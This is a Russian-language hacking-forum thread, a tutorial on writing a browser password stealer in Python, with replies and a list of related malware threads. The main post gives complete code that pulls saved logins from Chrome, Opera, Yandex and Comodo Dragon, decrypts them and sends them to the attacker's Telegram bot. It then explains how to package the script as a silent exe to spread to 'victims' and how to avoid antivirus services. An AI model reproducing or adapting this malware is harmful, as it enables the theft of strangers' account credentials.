Пишем свой стиллер на Python

Che Browser Antidetect

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
Копипаст

Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать :
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия


Комментарии будут отмечены решеточкой - #

Установка Python
Переходим на официальный сайт PythonА -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Скачиваем 3+ версию и устанавливаем ее.


Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код:
https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

Посмотреть вложение 7364

С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.
Код:
pip install --upgrade pip

После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot

Код:
pip install pyTelegramBotAPI
pip install pywin32
pip install telebot

______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

Код:
from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.


_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

Код:
t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.

Код:
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________

Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

Код:
b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля до длины списка с директориями.


Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
Код:
pip install pyinstaller
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Код:
CD C:\compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:\compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)

Исходник и заключение
Исходники вы можете скачать по ссылке -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Посмотреть вложение 7365
Так приходят логи, пароль находится между символом b' и '

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала
 
J

JRD

0 вместо о и 3 вместо e, для того, чтобы не копировали код?
 
J

JRD

op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
 

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
Честно хз))
 
  • Like
Реакции: JRD
Название темы
Автор Заголовок Раздел Ответы Дата
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 10
S Пишем свой перехватчик СМС Android Другие ЯП 3
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
E [PHP] Пишем свой движок 2.0 Другие ЯП 0
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
Ёшкин_кот Интересно Пишем вредоносное ПО с помощью ChatGPT. Формат mp4. English-speaking. Полезные статьи 0
L Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) .NET 2
K Интересно [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Другое 1
sxkury Пишем малютку для скана сайта Софт от наших юзеров 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Другие ЯП 1
T Пишем WinLocker на Delphi С/C++ 0
N Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
G Пишем парсер на Python - грабим Proxy ч.2 Бруты/Парсеры/Чекеры 0
G Пишем парсер на Python - грабим Proxy ч.1 Бруты/Парсеры/Чекеры 2
G Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
G Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Другое 0
Traven WinLocker на python. Пишем вирус. Другое 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
O Пишем стиллер на Batch Вирусология 15
Glods Пишем многопоточный Brute С/C++ 0
R Пишем билдер C# вариант 1 .NET 2
Support81 Важно!!! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
ananda Куплю Куплю дорого свой запрос в ваших логах/строках Куплю/Продам 1
slovokek Куплю Ищу свой запрос в ваших логах, нужен лог и пасс!!! Куплю/Продам 1
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
ananda Куплю Ищу свой запрос в ваших USA логах Куплю/Продам 1
NetRay NetRay - cоздай свой VPN Сайты/Хостинг/Сервера 1
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Куплю/Продам 0
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) .NET 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Другое 0
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Другое 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Вопросы и интересы 4
T Как сделать свой Fishing сайт? Вопросы и интересы 7
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Другие ЯП 3
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN SSH / дедики / Vpn / Proxy / Socks 0
M Защищаем свой Python скрипт за пару минут Другие ЯП 0
АнАлЬнАя ЧуПаКаБрА INLINE ру проект для тех кто не хочет покупать дедики, домены и хостинг за свой счет Проекты Private Keeper 0
B Почему не стоит светить свой IP Анонимность и приватность 0
M С чего начать свой путь в хакинге? СИ/Фишинг/Мошенничество 11

Название темы